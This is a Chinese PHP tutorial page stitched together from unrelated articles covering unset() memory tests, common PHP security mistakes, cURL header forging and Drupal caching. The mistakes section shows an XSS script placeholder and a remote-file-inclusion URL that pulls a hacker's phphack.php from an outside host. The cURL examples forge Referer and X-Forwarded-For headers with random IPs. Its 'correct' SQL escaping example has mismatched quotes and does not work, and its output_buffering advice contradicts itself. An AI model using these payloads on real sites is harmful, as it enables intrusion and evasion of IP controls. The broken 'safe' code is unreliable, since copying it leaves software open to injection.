PHP如何销毁已经过期的变量并释放内存?unset使用方法
我们先看一个例子:
代码如下 | 复制代码 |
<?php $s=str_repeat('1',255); //产生由255个1组成的字符串 $m=memory_get_usage(); //获取当前占用内存 unset($s); $mm=memory_get_usage(); //unset()后再查看当前占用内存 echo $m-$mm; ?> |
最后输出unset()之前占用内存减去unset()之后占用内存,如果是正数,那么说明unset($s)已经将$s从内存中销毁(或者说,unset()之后内存占用减少了),可是我在PHP5和windows平台下,得到的结果是:-48。这是否可以说明,unset($s)并没有起到销毁变量$s所占用内存的作用呢?我们再作下面的例子:
代码如下 | 复制代码 |
<?php $s=str_repeat('1',256); //产生由256个1组成的字符串 $m=memory_get_usage(); //获取当前占用内存 unset($s); $mm=memory_get_usage(); //unset()后再查看当前占用内存 echo $m-$mm; ?> |
这个例子,和上面的例子几乎相同,唯一的不同是,$s由256个1组成,即比第一个例子多了一个1,得到结果是:224。这是否可以说明,unset($s)已经将$s所占用的内存销毁了?
通过上面两个例子,我们可以得出以下结论:结论一、unset()函数只能在变量值占用内存空间超过256字节时才会释放内存空间。
那么是不是只要变量值超过256,使用unset就可以释放内存空间呢?我们再通过一个例子来测试一下:
代码如下 | 复制代码 |
<?php $s=str_repeat('1',256); //这和第二个例子完全相同 $p=&$s; $m=memory_get_usage(); unset($s); //销毁$s $mm=memory_get_usage(); echo $p.'<br />'; echo $m-$mm; ?> |
刷新页面,我们看到第一行有256个1,第二行是-48,按理说我们已经销毁了$s,而$p只是引用$s的变量,应该是没有内容了,另外,unset($s)后内存占用却比unset()前增加了!现在我们再做以下的例子:
代码如下 | 复制代码 |
<?php $s=str_repeat('1',256); //这和第二个例子完全相同 $p=&$s; $m=memory_get_usage(); $s=null; //设置$s为null $mm=memory_get_usage(); echo $p.'<br />'; echo $m-$mm; ?> |
现在刷新页面,我们看到,输出$p已经是没有内容了,unset()前后内存占用量之差是224,即已经清除了变量占用的内存。本例中的$s=null也可以换成unset(),如下:
代码如下 | 复制代码 |
<?php $s=str_repeat('1',256); //这和第二个例子完全相同 $p=&$s; $m=memory_get_usage(); unset($s); //销毁$s unset($p); $mm=memory_get_usage(); echo $p.'<br />'; echo $m-$mm; ?> |
我们将$s和$p都使用unset()销毁,这时再看内存占用量之差也是224,说明这样也可以释放内存。那么,我们可以得到另外一条结论:结论二、只有当指向该变量的所有变量(如引用变量)都被销毁后,才会释放内存。
相信经过本文的例子后,大家应该对unset()有所了解了,最起码,本人用unset()也是为了在变量不起作用时,释放内存。
1.不转意html entities
一个基本的常识:所有不可信任的输入(特别是用户从form中提交的数据) ,输出之前都要转意。
echo $_GET['usename'] ;
这个例子有可能输出:
<script>/*更改admin密码的脚本或设置cookie的脚本*/</script>
这是一个明显的安全隐患,除非你保证你的用户都正确的输入。
如何修复 :
我们需要将"< ",">","and" 等转换成正确的HTML表示(< , >', and "),函数htmlspecialchars 和 htmlentities()正是干这个活的。
正确的方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. 不转意SQL输入
我 曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说,他们已经在php.ini中将magic_quotes设置为On,所以不必担心这个问题,但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的!
如何修复:
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数
正确做法:
<?php
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()
遇到过这个警告吗?"warning: Cannot add header information - headers already sent [....]
每次从服务器下载一个网页的时候,服务器的输出都分成两个部分:头部和正文。
头部包含了一些非可视的数据,例如cookie。头部总是先到达。正文部分包括可视的html,图片等数据。
如 果output_buffering设置为Off,所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发,而在部署 到另一个环境中去的时候,output_buffering的设置可能不一样。结果转向停止了,cookie和session都没有正确的设 置........。
如何修复:
确保在输出之前调用http-header相关的函数,并且令output_buffering = Off 。
4. Require 或 include 的文件使用不安全的数据
再次强调:不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。
例如:
index.php
<?
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果allow_url_fopen=On,你更是死定了:
试试这个输入:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
如何修复:
你必须自己控制哪些文件可以包含在的include或require指令中。
下面是一个快速但不全面的解决方法:
<?
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>
5. 语法错误
语法错误包括所有的词法和语法错误,太常见了,以至于我不得不在这里列出。解决办法就是认真学习PHP的语法,仔细一点不要漏掉一个括号,大括号,分号,引号。还有就是换个好的编辑器,就不要用记事本了!
6.很少使用或不用面向对象
很多的项目都没有使用PHP的面向对象技术,结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多,越来越好,我们没有理由不使用面向对象。
7. 不使用framework
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事,我们为何不使用他们呢?
8. 不知道PHP中已经有的功能
PHP 的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual,在google上检索一下,也许会有新的发现!PHP中的exec()是一个强大的函数,可以执行cmd shell,并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()
9.使用旧版本的PHP
很多程序员还在使用PHP4,在PHP4上开发不能充分发挥PHP的潜能,还存在一些安全的隐患。转到PHP5上来吧,并不费很多功夫。大部分PHP4程序 只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5,所以有88%的PHP开发者还在使用PHP4.
10.对引号做两次转意
见过网页中出现'或'"吗?这通常是因为在开发者的环境中magic_quotes 设置为off,而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。
原始文本:
It's a string
magic quotes on :
It's a string
又运行一次
addslashes():
It's a string
HTML输出:
It's a string
例子1
代码如下 | 复制代码 |
[one.php] <?php $post_data = array ( "user" => "gongwen", "pwd" => "123456" ); $header_ip = array( 'CLIENT-IP:88.88.88.88', 'X-FORWARDED-FOR:88.88.88.88', ); $referer='http://www.111cn.net'; $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, 'http://localhost/curl/two.PHP'); //伪造来源referer curl_setopt ($ch,CURLOPT_REFERER,$referer); //伪造来源ip curl_setopt($ch, CURLOPT_HTTPHEADER, $header_ip); //提交post传参 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); //加上这个表示执行curl_exec是把输出做为返回值,不会输出到浏览器 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); $out_put=curl_exec ($ch); curl_close ($ch); echo $out_put; [two.php] <?php //请求来源referer echo '[HTTP_REFERER]<br>'; echo $_SERVER['HTTP_REFERER']; //请求来源ip //[注]此处的IP打印顺序是目前很多开源系统的IP获取顺序 echo '<hr>[IP]<br>'; echo $_SERVER['HTTP_CLIENT_IP']; echo '<br>'; echo $_SERVER['HTTP_X_FORWARDED_FOR']; echo '<br>'; echo $_SERVER['REMOTE_ADDR']; //POST数据 echo '<hr>[POST]<br><pre>'; var_dump($_POST); echo '</pre>'; |
浏览器访问one.php。页面打印如下:
例子2
代码如下 | 复制代码 |
function getImagesUrl( $url,$userinfo,$header) { $ch = curl_init(); $timeout = 1; curl_setopt ($ch, CURLOPT_URL, "$url"); curl_setopt ($ch, CURLOPT_HTTPHEADER, $header); curl_setopt ($ch, CURLOPT_REFERER, "http://www.baidu.com/"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_USERAGENT, "$userinfo"); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $contents = curl_exec($ch); curl_close($ch); //echo $contents; return $contents ; } function saveurl( $handle ,$filename) { $fp = fopen($filename,"w"); fwrite($fp,$handle); unset($fp); unset($handle); } $binfo =array('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; AskTbPTV/5.17.0.25589; Alexa Toolbar)','Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; Alexa Toolbar)','Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1)',$_SERVER['HTTP_USER_AGENT']); //123.125.68.* //125.90.88.* $cip = '123.125.68.'.mt_rand(0,254); $xip = '125.90.88.'.mt_rand(0,254); $header = array( 'CLIENT-IP:'.$cip, 'X-FORWARDED-FOR:'.$xip, ); $u = $binfo[mt_rand(0,3)]; $get_file = getImagesUrl($value,$u,$header); saveurl($get_file,'a.jpg'); |
即可。
做网站的时候经常会碰到要实现记住密码,下次自动登录,一周内免登陆,一个月内免登陆这种需求。这种功能一般都是通过cookie来实现的。本篇文章将简单说一下如何使用php实现该需求的。当然实现该需求的方法有N多种。
整个过程就是用户在登陆的时候,如果选择了记住密码或者一周内免登陆等这个选项的时候,则在用户成功登陆操作完成之后,存储一个实现自动登录的cookie的数据到数据库的用户表里面,作为下次自动登录时验证用。验证通过则自动登录,否则需要输入用户名,密码进行登录。保存的这个cookie值则可以取一个随机码。
具体示例代码如下:
代码如下 | 复制代码 |
$username=trim($_POST['username']); |
另外在访问网站的每个页面时,都要先进行一遍如下函数的检查。
代码如下 | 复制代码 |
//检查用户是否登录 |
所以,你不能说要彻底解决性能问题,但你可以根据实际情况,采用一些常用的解决方案来让网站的性能得到显著提升。我们常说的80/20理论你肯定知道,那么用20%的努力换取80%的性能提升,何乐而不为呢。
Drupal作为Web开源系统的一种,被称之为CMF(内容管理框架),拥有非常优秀的架构和扩展性,以及海量的第三方模块,现在已经被越来越多的人所熟知和采用。采用Drupal这样主流Web系统的一个好处就是有好多全世界优秀的专家投入到其中,给出各种各样的性能优化方案。我们大多数人作为使用者只要知道如何选择适合自己的优化方案,就能显著提升自己网站的性能。
前面说的都是性能优化,其实本文的重点是缓存技术,在我看来,对Drupal来说,缓存和性能优化基本就是同义词,大多数Drupal的优化技术都是使用各种各样的缓存。缓存有的是静态页面缓存,有的是动态缓存,有的是CSS,Javascript和图片的缓存。有的放在内存里,有的放数据库里,有的放磁盘上,还有的还需要配合一些服务器软件来提供。林林总总,对新手来说很可能就挑花眼了,所以本文想要在缓存这个话题上,给新手一些指引,本人学识有限,不可能面面俱到,希望读者可以批评指正。
核心缓存
作为最基本的优化手段,Drupal对缓存提供了一些基本的支持,比如外部的区块缓存,匿名用户页面缓存,内部还有比如菜单系统缓存,主题钩子注册表缓存等等。
可以说,作为一个不大的Drupal站点,使用核心内置的常规手段,性能就不会太差。多说一句,一般开发阶段是不开启缓存的,但一旦上线,区块缓存和匿名用户静态页面是必须要开的,CSS和JS也一定是要开启合并压缩的。这样一来,对于匿名用户,应该说速度就会比之前快不少。
Boost
Drupal 默认提供的匿名用户缓存是存在数据库里的,这意味着即使是缓存了的网页也要占用数据库连接和内网流量。而如果换成 Boost 模块,你的缓存都直接走静态文件,这不仅仅是不走数据库了,甚至都不经过Drupal了,所以作为页面缓存来讲 Boost 的效果极为出色。
Varnish HTTP Accelerator Integration
这里把 Varnish 模块列出来只是要告诉大家,如果你的服务器仍然有很大的内存,如果在前面使用 Varnish 服务器软件,你可以将静态网页缓存到 Varnish 开辟的内存中,可想而知速度就更快了。而且Varnish还可以帮助你缓存CSS,Javascript等静态文件。
Memcache API and Integration, Memcache Storage,Redis
匿名用户的访问已经那么快了,那如果你的网站有很多活跃的登录用户怎么办呢,之前说的大部分缓存都将失效,这可如何是好呢,对于登录用户来说,最有效的就是使用 Memcache 让许多系统的内部缓存可以从内存中读取,从而得到更好的性能,并且 Memcache 本身还是可以分布式部署的,有很好的延展性。而最后一个 Redis 同样优秀,这里不会比较它们之间的优劣,只是建议你可以先从 Memcache 开始。
Memcache API and Integration和 Memcache Storage,你只需要一个,并且较为推荐后者。
APC - Alternative PHP Cache
另一个能让登录用户感觉到快起来的技术就是 Alternative PHP Cache,也就是APC,他的作用就是让PHP文件不必每次都从磁盘加载,而是可以缓存到内存,并且是缓存的编译中间代码,所以对PHP语言的复杂系统来说优化效果很明显。这可以说是所有PHP网站必装的一个组件,当然他还有其他竞争者,比如eAccelerator, XCache以及最新的Zend Opcache等组件。不过再Zend Opcache组件没出现之前,APC在Linux系统上的表现略强于其他,而新出的Zend Opcache据说可以比APC还强上一些(10%以下),但同样,这里不做比较,只是建议你可以从 APC 开始。这里有一篇文章 (link is external)可以作为你的延伸读物。
另外,如果我们紧紧是使用APC的代码文件Opcode缓存特性,是不需要APC这个模块的,这个模块提供的是存一些额外的数据缓存到APC,这样我们就能够做到一部分不经常改变的cache表放到APC,经常改变的cache表放到Memcache,另外一些大的缓存表则需要放到数据库中。
Entity cache
接下来要做什么呢,因为本文是基于 Drupal 7 的,Drupal 7 引入了 Entity 的概念之后,Drupal中就有了各种类型的 Entity,所以这个模块提供的缓存支持,会让你的登录用户感觉到快了一点点,并且无需配置,且对几乎所有的Drupal站点都生效。
另外,像这种和Drupal内核机制以及常用第三方模块相关的模块在官网还是有不少的。拿Views举例,比如Views Row Cache模块和Views content cache都为Views提供了不同逻辑的缓存机制。我们可以根据实际情况取舍这种类型的模块,毕竟模块装多了也慢。
Authenticated User Page Caching (Authcache)
然后,我们就要说说更理想的登录用户缓存问题了,如果页面是动态生成的,我们再怎么做缓存,性能上也比不过直接缓存成静态页面,那么有办法么? Authcache 模块可以在一定程度上帮到你,但要注意的是,登录用户缓存的情况非常复杂,我们在采用 Authcache 模块之前要想好适不适合自己。
举个例子,如果你做一个SNS网站,你觉得登录用户的页面不够快,如果你开启了 Authcache 模块。你就要想那些页面对用户来说是完全一样的,这样一定可以缓存,哪些页面大部分一样,只有一小部分是根据用户的不同而不同,这种对于Authcache的处理来说就要复杂一些。那么如果是像新鲜事这样的页面,你也要缓存,这对每个用户来说都是不一样的,那就意味着你要缓存页面的数量级是用户ID乘以URL数再乘以角色数,想想这样产生的缓存会占用多大的空间,真的可行吗?。
关于 Authcache 模块说了这么多,就是要提醒大家,选择 Authcache 要非常慎重,不是它不好,而是有可能不适合你。
CDN
页面的打开速度和很多因素有关,其中一个很重要的因素就是CSS和Javascript文件的下载速度。而用户与服务器之间线路的物理距离又会对此产生很大的影响,所以我们需要CDN(内容分发网络)技术的帮助,让用户可以就近访问网站资源文件的缓存版本。CDN不仅让你的网站打开速度变快,由于其还为你的网站分担了流量和连接数,所以你的网站可以支持更大的并发访问了。
CDN模块可以帮你配置,让你的CDN生效,注意一般对CSS和图片使用CDN完全没有问题,但Javascript则要注意,如果所有的Javascript代码都用CDN,可能会产生安全隐患以及用户体验等问题。
Cache Warmer
最后,再说一说缓存重建的问题,既然是缓存,那么最开始的时候是没有的,是随着用户的访问,一点点的生成的,所以用户首次访问的时候,就会觉得网站仍然很慢,假设你的网站页面非常的多,那么就会有很多用户觉得你的网站慢,甚至不再访问第二个页面就流失掉了,所以在每次清缓存之后(实际上Drupal清缓存的频率是很高的,尤其是长期迭代开发和运营的Drupal站点)我们需要为重要入口页面重建缓存,以提高访客的停留时间,降低跳出率。
Cache Warmer就是这样的技术,和爬虫的思路相比,其更有目的性,比如重要的入口页面,网站新增内容,网站热门内容等等。不过使用这一技术要注意量力而行,别在重建缓存的时候自己把自己的网站弄瘫痪了。
小结
Drupal缓存相关的模块相当多,我们可以根据项目的实际情况调研和使用。本文按照由浅入深顺序介绍了Drupal网站的各种常用缓存技术,可以让大家对Drupal的缓存技术有一个大致完整的认知,从而起到对性能优化的认知。
相关文章
- 下面本文章来给大家介绍在php中成员变量的一些对比了,文章举了四个例子在这例子中分别对不同成员变量进行测试与获取操作,下面一起来看看。 有如下4个代码示例,你认...2016-11-25
- 有时为了网站安全和版权问题,会对自己写的php源码进行加密,在php加密技术上最常用的是zend公司的zend guard 加密软件,现在我们来图文讲解一下。 下面就简单说说如何...2016-11-25
- 本文主要介绍了C#变量命名规则小结,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-09-09
- 这篇文章主要介绍了R语言删除指定变量或对象的操作方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-05-06
- ps软件是现在很多人都会使用到的,HSL面板在ps软件中又有着非常独特的作用。这次文章就给大家介绍下ps怎么使用HSL面板,还不知道使用方法的下面一起来看看。  ...2017-07-06
- 许多的朋友对于Plesk控制面板应用不是非常的了解特别是英文版的Plesk控制面板,在这里小编整理了一些关于Plesk控制面板常用的使用方案整理,具体如下。 本文基于Linu...2016-10-10
使用insertAfter()方法在现有元素后添加一个新元素
复制代码 代码如下: //在现有元素后添加一个新元素 function insertAfter(newElement, targetElement){ var parent = targetElement.parentNode; if (parent.lastChild == targetElement){ parent.appendChild(newEl...2014-05-31解决vue的router组件component在import时不能使用变量问题
这篇文章主要介绍了解决vue的router组件component在import时不能使用变量问题,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-07-27- 大概有如下步骤 新建项目Bejs 新建文件package.json 新建文件Gruntfile.js 命令行执行grunt任务 一、新建项目Bejs源码放在src下,该目录有两个js文件,selector.js和ajax.js。编译后代码放在dest,这个grunt会...2014-06-07
使用percona-toolkit操作MySQL的实用命令小结
1.pt-archiver 功能介绍: 将mysql数据库中表的记录归档到另外一个表或者文件 用法介绍: pt-archiver [OPTION...] --source DSN --where WHERE 这个工具只是归档旧的数据,不会对线上数据的OLTP查询造成太大影响,你可以将...2015-11-24如何使用php脚本给html中引用的js和css路径打上版本号
在搜索引擎中搜索关键字.htaccess 缓存,你可以搜索到很多关于设置网站文件缓存的教程,通过设置可以将css、js等不太经常更新的文件缓存在浏览器端,这样访客每次访问你的网站的时候,浏览器就可以从浏览器的缓存中获取css、...2015-11-24jQuery 1.9使用$.support替代$.browser的使用方法
jQuery 从 1.9 版开始,移除了 $.browser 和 $.browser.version , 取而代之的是 $.support 。 在更新的 2.0 版本中,将不再支持 IE 6/7/8。 以后,如果用户需要支持 IE 6/7/8,只能使用 jQuery 1.9。 如果要全面支持 IE,并混合...2014-05-31- 这篇文章主要介绍了浅谈redis key值内存消耗以及性能影响,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-02-07
- C#注释的一些使用方法浅谈,需要的朋友可以参考一下...2020-06-25
- 这篇文章主要介绍了Vue select 绑定动态变量的实例讲解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-10-23
- 一、下载 mysqlsla [root@localhost tmp]# wget http://hackmysql.com/scripts/mysqlsla-2.03.tar.gz--19:45:45-- http://hackmysql.com/scripts/mysqlsla-2.03.tar.gzResolving hackmysql.com... 64.13.232.157Conn...2015-11-24
- 这篇文章主要介绍了详解分析MySQL8.0的内存消耗,帮助大家更好的理解和学习使用MySQL,感兴趣的朋友可以了解下...2021-03-23
安装和使用percona-toolkit来辅助操作MySQL的基本教程
一、percona-toolkit简介 percona-toolkit是一组高级命令行工具的集合,用来执行各种通过手工执行非常复杂和麻烦的mysql和系统任务,这些任务包括: 检查master和slave数据的一致性 有效地对记录进行归档 查找重复的索...2015-11-24- 在PHP中,大部分变量类型,如字符串,整型,浮点,数组等都是值类型的,而类和对象是引用类型,在使用的时候,需要注意这一点。看到网友在讨论PHP的&符号,要彻底理解它的用法,就有必要讨论一下变量的两种形式。PHP的变量在内存中是这样...2015-10-23
- 目前,JSON已经成为最流行的数据交换格式之一,各大网站的API几乎都支持它。我写过一篇《数据类型和JSON格式》,探讨它的设计思想。今天,我想总结一下PHP语言对它的支持,这是开发互联网应用程序(特别是编写API)必须了解的知识...2015-10-30